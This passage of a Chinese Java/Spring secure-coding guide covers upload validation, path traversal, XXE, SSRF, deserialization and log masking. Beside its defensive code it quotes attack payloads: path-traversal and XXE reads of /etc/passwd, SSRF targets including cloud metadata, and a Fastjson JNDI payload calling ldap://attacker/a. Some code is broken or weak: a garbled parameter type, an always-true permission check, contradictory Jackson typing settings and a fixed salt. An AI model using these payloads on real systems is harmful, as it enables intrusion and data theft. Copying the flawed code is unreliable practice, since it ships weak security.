    @Autowired
    private OssClient ossClient;
    
    /**
     * 安全上传文件
     */
    @Transactional
    public UploadResult upload(MultipartFileultipartFile file, String category) 
            throws IOException {
        
        // 1. 基础校验
        validateBasic(file);
        
        // 2. 文件类型校验(白名单)
        String fileExtension = validateFileType(file, category);
        
        // 3. 文件魔数校验(比扩展名更可靠)
        validateFileMagic(file, fileExtension);
        
        // 4. 文件内容病毒扫描
        virusScanService.scan(file);
        
        // 5. 重命名文件(避免路径遍历和文件名冲突)
        String secureFilename = generateSecureFilename(fileExtension);
        
        // 6. 存储到对象存储(OSS/S3/MinIO)
        String url = ossClient.putObject(
            getBucketName(category),
            secureFilename,
            file.getInputStream(),
            file.getContentType()
        );
        
        // 7. 保存文件记录到数据库
        FileRecord record = saveFileRecord(file, secureFilename, url, category);
        
        // 8. 记录审计日志
        auditLog("FILE_UPLOAD", secureFilename, getCurrentUserId());
        
        return UploadResult.builder()
            .fileId(record.getId())
            .filename(secureFilename)
            .url(url)
            .size(file.getSize())
            .contentType(file.getContentType())
            .build();
    }
    
    /**
     * 基础校验
     */
    private void validateBasic(MultipartFile file) {
        if (file == null || file.isEmpty()) {
            throw new BusinessException("文件不能为空");
        }
        
        if (file.getSize() > MAX_FILE_SIZE) {
            throw new BusinessException("文件大小超过限制: " + MAX_FILE_SIZE / 1024 / 1024 + "MB");
        }
    }
    
    /**
     * 文件类型校验
     */
    private String validateFileType(MultipartFile file, String category) {
        // 获取原始文件名
        String originalFilename = file.getOriginalFilename();
        if (originalFilename == null) {
            throw new BusinessException("文件名不能为空");
        }
        
        // 提取扩展名
        String extension = FilenameUtils.getExtension(originalFilename).toLowerCase();
        
        // 白名单校验
        Set<String> allowedExtensions = ALLOWED_TYPES.get(category);
        if (allowedExtensions == null || !allowedExtensions.contains(extension)) {
            throw new BusinessException("不允许的文件类型: " + extension);
        }
        
        // 检查双扩展名绕过
        if (originalFilename.contains("..")) {
            throw new BusinessException("文件名包含非法字符");
        }
        
        return extension;
    }
    
    /**
     * 文件魔数校验
     */
    private void validateFileMagic(MultipartFile file, String expectedType) 
            throws IOException {
        byte[] expectedSignature = FILE_SIGNATURES.get(expectedType);
        if (expectedSignature == null) {
            return; // 没有预定义签名,跳过校验
        }
        
        byte[] fileHeader = new byte[expectedSignature.length];
        try (InputStream is = file.getInputStream()) {
            if (is.read(fileHeader) != expectedSignature.length) {
                throw new BusinessException("文件内容损坏");
            }
        }
        
        // 比较文件头
        for (int i = 0; i < expectedSignature.length; i++) {
            if (fileHeader[i] != expectedSignature[i]) {
                throw new BusinessException("文件类型与内容不匹配");
            }
        }
    }
    
    /**
     * 生成安全文件名
     */
    private String generateSecureFilename(String extension) {
        // 使用UUID + 时间戳生成文件名
        String uuid = UUID.randomUUID().toString().replace("-", "");
        long timestamp = System.currentTimeMillis();
        return uuid + "_" + timestamp + "." + extension;
    }
}

/**
 * 病毒扫描服务
 */
@Service
public class VirusScanService {
    
    @Value("${virus.scan.enabled:true}")
    private boolean enabled;
    
    @Value("${virus.scan.clamav.host:localhost}")
    private String clamavHost;
    
    @Value("${virus.scan.clamav.port:3310}")
    private int clamavPort;
    
    /**
     * 扫描文件
     */
    public void scan(MultipartFile file) throws IOException {
        if (!enabled) {
            log.warn("Virus scanning is disabled");
            return;
        }
        
        try {
            // 使用ClamAV进行病毒扫描
            ClamAVClient client = new ClamAVClient(clamavHost, clamavPort);
            byte[] response = client.scan(new BufferedInputStream(file.getInputStream()));
            
            if (!ClamAVClient.isCleanReply(response)) {
                throw new BusinessException("文件包含恶意代码");
            }
        } catch (Exception e) {
            log.error("Virus scan failed", e);
            throw new BusinessException("文件安全检查失败");
        }
    }
}

4.2 文件包含与目录遍历

4.2.1 漏洞原理

目录遍历(Path Traversal)是指攻击者通过 ../ 等特殊字符访问服务器上的任意文件。

4.2.2 漏洞代码示例

// ❌ 危险:直接使用用户输入的文件路径
@GetMapping("/download")
public ResponseEntity<Resource> download(@RequestParam String filename) {
    Path path = Paths.get("/uploads/" + filename);
    Resource resource = new FileSystemResource(path);
    return ResponseEntity.ok(resource);
}

// 攻击:?filename=../../../etc/passwd

4.2.3 安全防御代码

/**
 * 安全的文件下载服务
 */
@Service
public class SecureFileDownloadService {
    
    // 允许访问的基础目录
    private static final Path BASE_PATH = Paths.get("/uploads").toAbsolutePath().normalize();
    
    /**
     * 安全下载文件
     */
    public ResponseEntity<Resource> download(String filename, Long userId) throws IOException {
        // 1. 文件名规范化
        Path requestedPath = BASE_PATH.resolve(filename).normalize();
        
        // 2. 校验是否在允许的目录内
        if (!requestedPath.startsWith(BASE_PATH)) {
            log.warn("Directory traversal attempt: {}", filename);
            throw new AccessDeniedException("Access denied");
        }
        
        // 3. 校验文件是否存在
        if (!Files.exists(requestedPath) || !Files.isRegularFile(requestedPath)) {
            throw new NotFoundException("File not found");
        }
        
        // 4. 校验用户是否有权访问该文件
        if (!hasFilePermission(userId, requestedPath)) {
            throw new AccessDeniedException("Access denied");
        }
        
        // 5. 返回文件
        Resource resource = new FileSystemResource(requestedPath);
        String contentType = Files.probeContentType(requestedPath);
        
        return ResponseEntity.ok()
            .contentType(MediaType.parseMediaType(contentType))
            .header(HttpHeaders.CONTENT_DISPOSITION, 
                "attachment; filename=\"" + requestedPath.getFileName() + "\"")
            .body(resource);
    }
    
    /**
     * 文件权限校验
     */
    private boolean hasFilePermission(Long userId, Path filePath) {
        // 查询数据库校验文件权限
        // ...
        return true;
    }
}

/**
 * 使用chroot隔离文件访问(高级防护)
 */
public class ChrootFileAccess {
    
    private final Path rootPath;
    
    public ChrootFileAccess(String rootPath) {
        this.rootPath = Paths.get(rootPath).toAbsolutePath().normalize();
    }
    
    /**
     * 在chroot环境下访问文件
     */
    public Path resolve(String filename) {
        Path resolved = rootPath.resolve(filename).normalize();
        
        // 关键:确保解析后的路径仍在根目录下
        if (!resolved.startsWith(rootPath)) {
            throw new SecurityException("Path traversal detected");
        }
        
        return resolved;
    }
}

4.3 XXE外部实体注入

4.3.1 漏洞原理

XXE(XML External Entity)是指XML解析器处理了外部实体引用,导致:

  • 读取服务器任意文件
  • 发起SSRF攻击
  • 拒绝服务攻击(Billion Laughs Attack)

4.3.2 漏洞代码示例

// ❌ 危险:未禁用外部实体的XML解析
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xml)));

// 攻击Payload:
// <?xml version="1.0"?>
// <!DOCTYPE foo [
//   <!ENTITY xxe SYSTEM "file:///etc/passwd">
// ]>
// <data>&xxe;</data>

4.3.3 安全防御代码

/**
 * 安全的XML解析配置
 */
@Configuration
public class SecureXmlConfig {
    
    /**
     * 安全的DocumentBuilderFactory
     */
    @Bean
    public DocumentBuilderFactory secureDocumentBuilderFactory() 
            throws ParserConfigurationException {
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        
        // ✅ 禁用DTD(防止所有XXE攻击)
        factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        
        // ✅ 禁用外部通用实体
        factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
        
        // ✅ 禁用外部参数实体
        factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        
        // ✅ 禁用外部DTD
        factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
        
        // ✅ 禁用XInclude
        factory.setXIncludeAware(false);
        
        // ✅ 禁用实体引用扩展
        factory.setExpandEntityReferences(false);
        
        return factory;
    }
    
    /**
     * 安全的SAXParserFactory
     */
    @Bean
    public SAXParserFactory secureSAXParserFactory() throws ParserConfigurationException, SAXException {
        SAXParserFactory factory = SAXParserFactory.newInstance();
        
        factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
        factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        
        return factory;
    }
    
    /**
     * 安全的XMLInputFactory(StAX解析器)
     */
    @Bean
    public XMLInputFactory secureXMLInputFactory() {
        XMLInputFactory factory = XMLInputFactory.newInstance();
        
        // 禁用外部实体
        factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
        factory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
        
        return factory;
    }
}

/**
 * 安全的XML解析工具类
 */
public class SecureXmlUtils {
    
    private static final Logger log = LoggerFactory.getLogger(SecureXmlUtils.class);
    
    /**
     * 安全解析XML字符串
     */
    public static Document parseXml(String xml) throws Exception {
        // 使用安全配置的工厂
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        
        // 禁用所有外部实体
        factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
        factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        
        DocumentBuilder builder = factory.newDocumentBuilder();
        
        // 设置错误处理器
        builder.setErrorHandler(new ErrorHandler() {
            @Override
            public void warning(SAXParseException e) { log.warn("XML warning", e); }
            @Override
            public void error(SAXParseException e) throws SAXException { throw e; }
            @Override
            public void fatalError(SAXParseException e) throws SAXException { throw e; }
        });
        
        return builder.parse(new InputSource(new StringReader(xml)));
    }
    
    /**
     * 使用Jackson进行XML解析(推荐,更安全)
     */
    public static <T> T parseXmlWithJackson(String xml, Class<T> clazz) throws Exception {
        XmlMapper mapper = new XmlMapper();
        
        // 禁用外部实体
        mapper.getFactory().getXMLInputFactory()
            .setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
        mapper.getFactory().getXMLInputFactory()
            .setProperty(XMLInputFactory.SUPPORT_DTD, false);
        
        return mapper.readValue(xml, clazz);
    }
    
    /**
     * 推荐:将XML转换为JSON处理
     */
    public static String xmlToJson(String xml) throws Exception {
        // 先安全解析XML
        Document doc = parseXml(xml);
        
        // 转换为JSON(使用Jackson或其他库)
        ObjectMapper jsonMapper = new ObjectMapper();
        // ... 转换逻辑
        
        return jsonMapper.writeValueAsString(/* converted object */);
    }
}

最佳实践:优先使用JSON替代XML

// ✅ 推荐:使用JSON格式替代XML
// Spring Boot默认使用Jackson处理JSON,无需额外配置

@RestController
public class ApiController {
    
    // ✅ 使用@RequestBody直接接收JSON
    @PostMapping("/api/data")
    public ResponseEntity<DataResponse> processData(@RequestBody DataRequest request) {
        // 直接使用Java对象,无需XML解析
        return ResponseEntity.ok(service.process(request));
    }
}

4.4 SSRF服务端请求伪造

4.4.1 漏洞原理

SSRF(Server-Side Request Forgery)是指攻击者通过服务器发起请求,访问内部网络资源或绕过访问控制。

4.4.2 攻击场景

1. 读取内部文件:file:///etc/passwd
2. 扫描内网端口:http://192.168.1.1:8080
3. 攻击内部服务:http://internal-api/admin
4. 使用协议:gopher://、dict://
5. 云环境元数据:http://169.254.169.254/latest/meta-data/

4.4.3 安全防御代码

/**
 * 安全的HTTP请求服务
 */
@Service
@Slf4j
public class SecureHttpRequestService {
    
    // 允许的协议
    private static final Set<String> ALLOWED_PROTOCOLS = Set.of("http", "https");
    
    // 禁止的内网IP段
    private static final List<IPRange> BLOCKED_IP_RANGES = List.of(
        IPRange.of("10.0.0.0/8"),
        IPRange.of("172.16.0.0/12"),
        IPRange.of("192.168.0.0/16"),
        IPRange.of("127.0.0.0/8"),
        IPRange.of("169.254.0.0/16")  // 云元数据服务
    );
    
    // 禁止的域名后缀
    private static final Set<String> BLOCKED_DOMAINS = Set.of(
        "internal", "local", "localhost", "intranet"
    );
    
    @Autowired
    private RestTemplate restTemplate;
    
    /**
     * 安全的HTTP GET请求
     */
    public String safeHttpGet(String url) throws Exception {
        // 1. URL格式校验
        URL parsedUrl = validateAndParseUrl(url);
        
        // 2. 协议校验
        validateProtocol(parsedUrl.getProtocol());
        
        // 3. 域名校验
        validateDomain(parsedUrl.getHost());
        
        // 4. IP地址校验(解析域名后检查)
        InetAddress address = InetAddress.getByName(parsedUrl.getHost());
        validateIpAddress(address);
        
        // 5. 端口校验
        validatePort(parsedUrl.getPort());
        
        // 6. 发起请求(带超时)
        return executeRequest(url);
    }
    
    private URL validateAndParseUrl(String url) throws MalformedURLException {
        if (StringUtils.isBlank(url)) {
            throw new IllegalArgumentException("URL cannot be empty");
        }
        
        try {
            URL parsedUrl = new URL(url);
            
            // 防止URL解析绕过
            if (parsedUrl.getHost() == null) {
                throw new MalformedURLException("Invalid URL host");
            }
            
            return parsedUrl;
        } catch (MalformedURLException e) {
            throw new IllegalArgumentException("Invalid URL format: " + url);
        }
    }
    
    private void validateProtocol(String protocol) {
        if (!ALLOWED_PROTOCOLS.contains(protocol.toLowerCase())) {
            throw new SecurityException("Protocol not allowed: " + protocol);
        }
    }
    
    private void validateDomain(String domain) {
        String lowerDomain = domain.toLowerCase();
        
        // 检查禁止的域名
        for (String blocked : BLOCKED_DOMAINS) {
            if (lowerDomain.endsWith(blocked)) {
                throw new SecurityException("Domain not allowed: " + domain);
            }
        }
        
        // 检查是否是IP地址
        if (lowerDomain.matches("\\d+\\.\\d+\\.\\d+\\.\\d+")) {
            // 直接使用IP地址,稍后在validateIpAddress中检查
            return;
        }
        
        // 域名格式校验
        if (!lowerDomain.matches("^[a-z0-9]([a-z0-9\\-]*[a-z0-9])?(\\.[a-z]{2,})+$")) {
            throw new SecurityException("Invalid domain format: " + domain);
        }
    }
    
    private void validateIpAddress(InetAddress address) {
        String ip = address.getHostAddress();
        
        // 检查是否是内网IP
        if (address.isLoopbackAddress() || 
            address.isLinkLocalAddress() || 
            address.isSiteLocalAddress()) {
            throw new SecurityException("Internal IP addresses not allowed: " + ip);
        }
        
        // 检查禁止的IP段
        for (IPRange range : BLOCKED_IP_RANGES) {
            if (range.contains(ip)) {
                throw new SecurityException("IP address in blocked range: " + ip);
            }
        }
    }
    
    private void validatePort(int port) {
        if (port != -1 && (port < 1 || port > 65535)) {
            throw new SecurityException("Invalid port: " + port);
        }
        
        // 禁止访问常见内部服务端口
        Set<Integer> blockedPorts = Set.of(6379, 27017, 5432, 3306, 9200, 2181);
        if (blockedPorts.contains(port)) {
            throw new SecurityException("Port not allowed: " + port);
        }
    }
    
    private String executeRequest(String url) {
        // 配置超时
        SimpleClientHttpRequestFactory factory = new SimpleClientHttpRequestFactory();
        factory.setConnectTimeout(5000);
        factory.setReadTimeout(10000);
        
        RestTemplate restTemplate = new RestTemplate(factory);
        
        // 限制响应大小
        HttpHeaders headers = new HttpHeaders();
        HttpEntity<String> entity = new HttpEntity<>(headers);
        
        ResponseEntity<String> response = restTemplate.exchange(
            url, HttpMethod.GET, entity, String.class
        );
        
        // 检查响应大小
        String body = response.getBody();
        if (body != null && body.length() > 1024 * 1024) { // 1MB限制
            throw new SecurityException("Response too large");
        }
        
        return body;
    }
}

/**
 * 使用白名单方式(更安全)
 */
@Service
public class WhitelistHttpService {
    
    // 允许访问的URL白名单
    private static final List<Pattern> ALLOWED_URL_PATTERNS = List.of(
        Pattern.compile("^https://api\\.example\\.com/.*"),
        Pattern.compile("^https://cdn\\.example\\.com/.*")
    );
    
    public String safeRequest(String url) {
        // 只允许访问白名单中的URL
        boolean allowed = ALLOWED_URL_PATTERNS.stream()
            .anyMatch(pattern -> pattern.matcher(url).matches());
        
        if (!allowed) {
            throw new SecurityException("URL not in whitelist: " + url);
        }
        
        // 执行请求
        // ...
    }
}

五、反序列化与组件安全

5.1 反序列化漏洞

5.1.1 漏洞原理

反序列化漏洞是指应用程序反序列化不可信数据时,攻击者构造恶意数据触发代码执行。

5.1.2 常见漏洞库

漏洞类型 CVE示例
Apache Commons Collections RCE CVE-2015-4852
Fastjson RCE CVE-2022-25845
Jackson RCE CVE-2019-12384
XStream RCE CVE-2021-39139

5.1.3 漏洞代码示例

// ❌ 危险:反序列化不可信数据
ObjectInputStream ois = new ObjectInputStream(untrustedInput);
Object obj = ois.readObject(); // 可能触发RCE

// ❌ 危险:Fastjson autoType
String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker/a\"}";
JSON.parse(json); // 触发JNDI注入

5.1.4 安全防御代码

方案一:Java原生反序列化防护

/**
 * 安全的ObjectInputStream(白名单方式)
 */
public class SafeObjectInputStream extends ObjectInputStream {
    
    // 允许反序列化的类白名单
    private static final Set<String> ALLOWED_CLASSES = Set.of(
        "java.lang.String",
        "java.lang.Integer",
        "java.lang.Long",
        "java.util.ArrayList",
        "java.util.HashMap",
        "com.company.dto.UserDTO",
        "com.company.dto.OrderDTO"
    );
    
    public SafeObjectInputStream(InputStream in) throws IOException {
        super(in);
    }
    
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) 
            throws IOException, ClassNotFoundException {
        
        String className = desc.getName();
        
        // 白名单校验
        if (!ALLOWED_CLASSES.contains(className)) {
            throw new SecurityException("Class not allowed for deserialization: " + className);
        }
        
        return super.resolveClass(desc);
    }
    
    /**
     * 安全的反序列化方法
     */
    public static <T> T safeDeserialize(byte[] data, Class<T> expectedType) 
            throws IOException, ClassNotFoundException {
        try (SafeObjectInputStream ois = new SafeObjectInputStream(
                new ByteArrayInputStream(data))) {
            Object obj = ois.readObject();
            
            // 类型校验
            if (!expectedType.isInstance(obj)) {
                throw new SecurityException("Unexpected deserialized type");
            }
            
            return expectedType.cast(obj);
        }
    }
}

方案二:Jackson安全配置

@Configuration
public class JacksonSecurityConfig {
    
    @Bean
    public ObjectMapper secureObjectMapper() {
        ObjectMapper mapper = new ObjectMapper();
        
        // ✅ 禁用默认类型推断(防止多态攻击)
        mapper.deactivateDefaultTyping();
        
        // ✅ 使用安全的类型验证器
        mapper.activateDefaultTyping(
            createSafeTypeValidator(),
            ObjectMapper.DefaultTyping.NON_FINAL
        );
        
        // ✅ 禁用未知属性(防止属性注入)
        mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, true);
        
        // ✅ 限制反序列化深度
        mapper.configure(DeserializationFeature.ACCEPT_SINGLE_VALUE_AS_ARRAY, false);
        
        return mapper;
    }
    
    /**
     * 创建安全的类型验证器
     */
    private PolymorphicTypeValidator createSafeTypeValidator() {
        return BasicPolymorphicTypeValidator.builder()
            // 只允许特定包下的类
            .allowIfBaseType("com.company.dto.")
            .allowIfSubType("com.company.dto.")
            .allowIfSubType("java.util.")
            .allowIfSubType("java.lang.")
            // 禁止所有其他类型
            .denyForExactBaseType(Object.class)
            .build();
    }
}

/**
 * 自定义反序列化过滤器
 */
public class SafeDeserializationFilter extends BeanDeserializerModifier {
    
    private static final Set<String> DANGEROUS_CLASSES = Set.of(
        "java.lang.ProcessBuilder",
        "java.lang.Runtime",
        "javax.naming.InitialContext",
        "com.sun.rowset.JdbcRowSetImpl"
    );
    
    @Override
    public JsonDeserializer<?> modifyDeserializer(
            DeserializationConfig config,
            BeanDescription beanDesc,
            JsonDeserializer<?> deserializer) {
        
        String className = beanDesc.getBeanClass().getName();
        
        if (DANGEROUS_CLASSES.contains(className)) {
            throw new SecurityException("Deserialization of dangerous class blocked: " + className);
        }
        
        return deserializer;
    }
}

方案三:Fastjson安全配置

@Configuration
public class FastjsonSecurityConfig {
    
    @Bean
    public HttpMessageConverter<Object> fastjsonConverter() {
        FastJsonHttpMessageConverter converter = new FastJsonHttpMessageConverter();
        
        FastJsonConfig config = new FastJsonConfig();
        
        // ✅ 禁用autoType(关键安全配置)
        ParserConfig.getGlobalInstance().setSafeMode(true);
        
        // 或者使用白名单方式
        // ParserConfig.getGlobalInstance().addAccept("com.company.dto.");
        // ParserConfig.getGlobalInstance().addAccept("java.util.");
        
        // ✅ 设置安全的反序列化过滤器
        config.setSerializerFeatures(
            SerializerFeature.WriteClassName  // 序列化时写入类型信息
        );
        
        converter.setFastJsonConfig(config);
        return converter;
    }
}

/**
 * Fastjson安全使用示例
 */
public class SafeFastjsonUsage {
    
    /**
     * ✅ 安全:指定目标类型
     */
    public <T> T parseObject(String json, Class<T> clazz) {
        return JSON.parseObject(json, clazz);
    }
    
    /**
     * ❌ 危险:不指定类型,依赖autoType
     */
    public Object parseObjectUnsafe(String json) {
        return JSON.parse(json); // 可能触发RCE
    }
}

方案四:XStream安全配置

/**
 * 安全的XStream配置
 */
public class SafeXStream extends XStream {
    
    public SafeXStream() {
        super();
        
        // ✅ 设置安全框架(XStream 1.4.18+)
        setupDefaultSecurity(this);
        
        // ✅ 只允许特定类
        allowTypes(new Class[]{
            UserDTO.class,
            OrderDTO.class,
            ArrayList.class,
            HashMap.class
        });
    }
    
    /**
     * 设置默认安全配置
     */
    private void setupDefaultSecurity(XStream xstream) {
        // 清除默认允许的类型
        xstream.addPermission(NoTypePermission.NONE);
        
        // 只允许基本类型
        xstream.addPermission(new TypeHierarchyPermission(String.class));
        xstream.addPermission(new TypeHierarchyPermission(Number.class));
        xstream.addPermission(new TypeHierarchyPermission(Boolean.class));
        
        // 允许特定包
        xstream.allowTypesByWildcard(new String[]{
            "com.company.dto.**",
            "java.util.**"
        });
    }
}

5.2 依赖组件安全(供应链安全)

5.2.1 漏洞原理

应用程序依赖的第三方库可能存在已知漏洞,攻击者可以利用这些漏洞攻击应用。

5.2.2 安全防御措施

Maven依赖检查

<!-- pom.xml -->
<build>
    <plugins>
        <!-- OWASP Dependency-Check 插件 -->
        <plugin>
            <groupId>org.owasp</groupId>
            <artifactId>dependency-check-maven</artifactId>
            <version>8.4.0</version>
            <configuration>
                <failBuildOnCVSS>7</failBuildOnCVSS>
                <suppressionFiles>
                    <suppressionFile>dependency-check-suppressions.xml</suppressionFile>
                </suppressionFiles>
            </configuration>
            <executions>
                <execution>
                    <goals>
                        <goal>check</goal>
                    </goals>
                </execution>
            </executions>
        </plugin>
    </plugins>
</build>

Gradle依赖检查

// build.gradle.kts
plugins {
    id("org.owasp.dependencycheck") version "8.4.0"
}

dependencyCheck {
    failBuildOnCVSS.set(7f)
    suppressionFile.set("dependency-check-suppressions.xml")
}

SBOM(软件物料清单)管理

<!-- 生成SBOM -->
<plugin>
    <groupId>org.cyclonedx</groupId>
    <artifactId>cyclonedx-maven-plugin</artifactId>
    <version>2.7.10</version>
    <executions>
        <execution>
            <goals>
                <goal>makeAggregateBom</goal>
            </goals>
        </execution>
    </executions>
</plugin>

依赖版本管理

<!-- 使用dependencyManagement统一管理版本 -->
<dependencyManagement>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-dependencies</artifactId>
            <version>3.2.0</version>
            <type>pom</type>
            <scope>import</scope>
        </dependency>
    </dependencies>
</dependencyManagement>

<!-- 排除存在漏洞的传递依赖 -->
<dependency>
    <groupId>com.example</groupId>
    <artifactId>some-library</artifactId>
    <version>1.0.0</version>
    <exclusions>
        <exclusion>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
        </exclusion>
    </exclusions>
</dependency>

六、信息泄露与业务逻辑

6.1 敏感信息泄露

6.1.1 常见泄露场景

场景 说明 防御方法
日志泄露 日志中打印敏感信息 日志脱敏
报错泄露 异常信息暴露系统细节 统一异常处理
配置泄露 配置文件包含明文密码 配置加密
API响应泄露 返回不必要的敏感字段 DTO过滤
堆内存泄露 敏感数据残留在内存 及时清理

6.1.2 安全防御代码

方案一:日志脱敏

/**
 * 日志脱敏工具类
 */
public class LogUtils {
    
    // 手机号脱敏:138****8888
    private static final Pattern PHONE_PATTERN = 
        Pattern.compile("(1[3-9]\\d)\\d{4}(\\d{4})");
    
    // 身份证号脱敏:110***********1234
    private static final Pattern ID_CARD_PATTERN = 
        Pattern.compile("(\\d{3})\\d{11}(\\w{4})");
    
    // 邮箱脱敏:t***@example.com
    private static final Pattern EMAIL_PATTERN = 
        Pattern.compile("(\\w)[\\w.]*@(\\w+\\.\\w+)");
    
    // 银行卡号脱敏:6222 **** **** 1234
    private static final Pattern BANK_CARD_PATTERN = 
        Pattern.compile("(\\d{4})\\d{8,12}(\\d{4})");
    
    /**
     * 脱敏手机号
     */
    public static String maskPhone(String phone) {
        if (StringUtils.isBlank(phone)) return phone;
        return PHONE_PATTERN.matcher(phone).replaceAll("$1****$2");
    }
    
    /**
     * 脱敏身份证号
     */
    public static String maskIdCard(String idCard) {
        if (StringUtils.isBlank(idCard)) return idCard;
        return ID_CARD_PATTERN.matcher(idCard).replaceAll("$1***********$2");
    }
    
    /**
     * 脱敏邮箱
     */
    public static String maskEmail(String email) {
        if (StringUtils.isBlank(email)) return email;
        return EMAIL_PATTERN.matcher(email).replaceAll("$1***@$2");
    }
    
    /**
     * 脱敏银行卡号
     */
    public static String maskBankCard(String bankCard) {
        if (StringUtils.isBlank(bankCard)) return bankCard;
        return BANK_CARD_PATTERN.matcher(bankCard).replaceAll("$1 **** **** $2");
    }
    
    /**
     * 通用脱敏方法
     */
    public static String maskSensitive(String message) {
        if (StringUtils.isBlank(message)) return message;
        
        message = maskPhone(message);
        message = maskIdCard(message);
        message = maskEmail(message);
        message = maskBankCard(message);
        
        return message;
    }
}

/**
 * Logback脱敏配置
 */
// logback-spring.xml
// <configuration>
//     <conversionRule conversionWord="maskedMsg" 
//         converterClass="com.company.LogMaskingConverter" />
//     
//     <appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
//         <encoder>
//             <pattern>%d{yyyy-MM-dd HH:mm:ss} [%thread] %-5level %logger{36} - %maskedMsg{msg}%n</pattern>
//         </encoder>
//     </appender>
// </configuration>

/**
 * Logback日志脱敏转换器
 */
public class LogMaskingConverter extends ClassicConverter {
    
    @Override
    public String convert(ILoggingEvent event) {
        String message = event.getFormattedMessage();
        return LogUtils.maskSensitive(message);
    }
}

方案二:统一异常处理

/**
 * 全局异常处理器
 */
@RestControllerAdvice
@Slf4j
public class GlobalExceptionHandler {
    
    /**
     * 业务异常
     */
    @ExceptionHandler(BusinessException.class)
    public ResponseEntity<ErrorResponse> handleBusinessException(BusinessException e) {
        log.warn("Business exception: {}", e.getMessage());
        
        return ResponseEntity.status(e.getHttpStatus())
            .body(ErrorResponse.of(e.getCode(), e.getMessage()));
    }
    
    /**
     * 参数校验异常
     */
    @ExceptionHandler(MethodArgumentNotValidException.class)
    public ResponseEntity<ErrorResponse> handleValidationException(
            MethodArgumentNotValidException e) {
        
        String message = e.getBindingResult().getFieldErrors().stream()
            .map(error -> error.getField() + ": " + error.getDefaultMessage())
            .collect(Collectors.joining(", "));
        
        log.warn("Validation failed: {}", message);
        
        return ResponseEntity.badRequest()
            .body(ErrorResponse.of("VALIDATION_ERROR", message));
    }
    
    /**
     * 权限异常
     */
    @ExceptionHandler(AccessDeniedException.class)
    public ResponseEntity<ErrorResponse> handleAccessDeniedException(AccessDeniedException e) {
        log.warn("Access denied: {}", e.getMessage());
        
        return ResponseEntity.status(HttpStatus.FORBIDDEN)
            .body(ErrorResponse.of("ACCESS_DENIED", "Access denied"));
    }
    
    /**
     * 未知异常(不暴露内部细节)
     */
    @ExceptionHandler(Exception.class)
    public ResponseEntity<ErrorResponse> handleException(Exception e) {
        // ✅ 记录详细错误信息到日志
        log.error("Unexpected error", e);
        
        // ✅ 返回通用错误信息给客户端
        return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR)
            .body(ErrorResponse.of("INTERNAL_ERROR", "An unexpected error occurred"));
    }
    
    /**
     * 错误响应DTO
     */
    @Data
    @AllArgsConstructor
    public static class ErrorResponse {
        private String code;
        private String message;
        private long timestamp;
        
        public static ErrorResponse of(String code, String message) {
            return new ErrorResponse(code, message, System.currentTimeMillis());
        }
    }
}

方案三:敏感数据加密存储

/**
 * 敏感数据加密服务
 */
@Service
public class SensitiveDataService {
    
    @Value("${encryption.master-key}")
    private String masterKey;
    
    /**
     * 加密敏感数据
     */
    public String encrypt(String plaintext) {
        try {
            // 使用AES-GCM加密
            SecretKey key = deriveKey(masterKey);
            Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
            
            byte[] iv = new byte[12];
            new SecureRandom().nextBytes(iv);
            
            GCMParameterSpec spec = new GCMParameterSpec(128, iv);
            cipher.init(Cipher.ENCRYPT_MODE, key, spec);
            
            byte[] ciphertext = cipher.doFinal(plaintext.getBytes(StandardCharsets.UTF_8));
            
            // IV + Ciphertext
            byte[] combined = new byte[iv.length + ciphertext.length];
            System.arraycopy(iv, 0, combined, 0, iv.length);
            System.arraycopy(ciphertext, 0, combined, iv.length, ciphertext.length);
            
            return Base64.getEncoder().encodeToString(combined);
        } catch (Exception e) {
            throw new EncryptionException("Encryption failed", e);
        }
    }
    
    /**
     * 解密敏感数据
     */
    public String decrypt(String ciphertext) {
        try {
            byte[] combined = Base64.getDecoder().decode(ciphertext);
            
            byte[] iv = Arrays.copyOfRange(combined, 0, 12);
            byte[] encrypted = Arrays.copyOfRange(combined, 12, combined.length);
            
            SecretKey key = deriveKey(masterKey);
            Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
            GCMParameterSpec spec = new GCMParameterSpec(128, iv);
            cipher.init(Cipher.DECRYPT_MODE, key, spec);
            
            byte[] plaintext = cipher.doFinal(encrypted);
            return new String(plaintext, StandardCharsets.UTF_8);
        } catch (Exception e) {
            throw new EncryptionException("Decryption failed", e);
        }
    }
    
    private SecretKey deriveKey(String masterKey) {
        // 使用PBKDF2派生密钥
        byte[] salt = "fixed-salt".getBytes(); // 实际应用中应使用随机salt
        SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256");
        KeySpec spec = new PBEKeySpec(masterKey.toCharArray(), salt, 100000, 256);
        SecretKey tmp = factory.generateSecret(spec);
        return new SecretKeySpec(tmp.getEncoded(), "AES");
    }
    
    /**
     * 安全地清理敏感数据(从内存中)
     */
    public void clearSensitiveData(char[] sensitiveData) {
        if (sensitiveData != null) {
            Arrays.fill(sensitiveData, '\0');
        }
    }
    
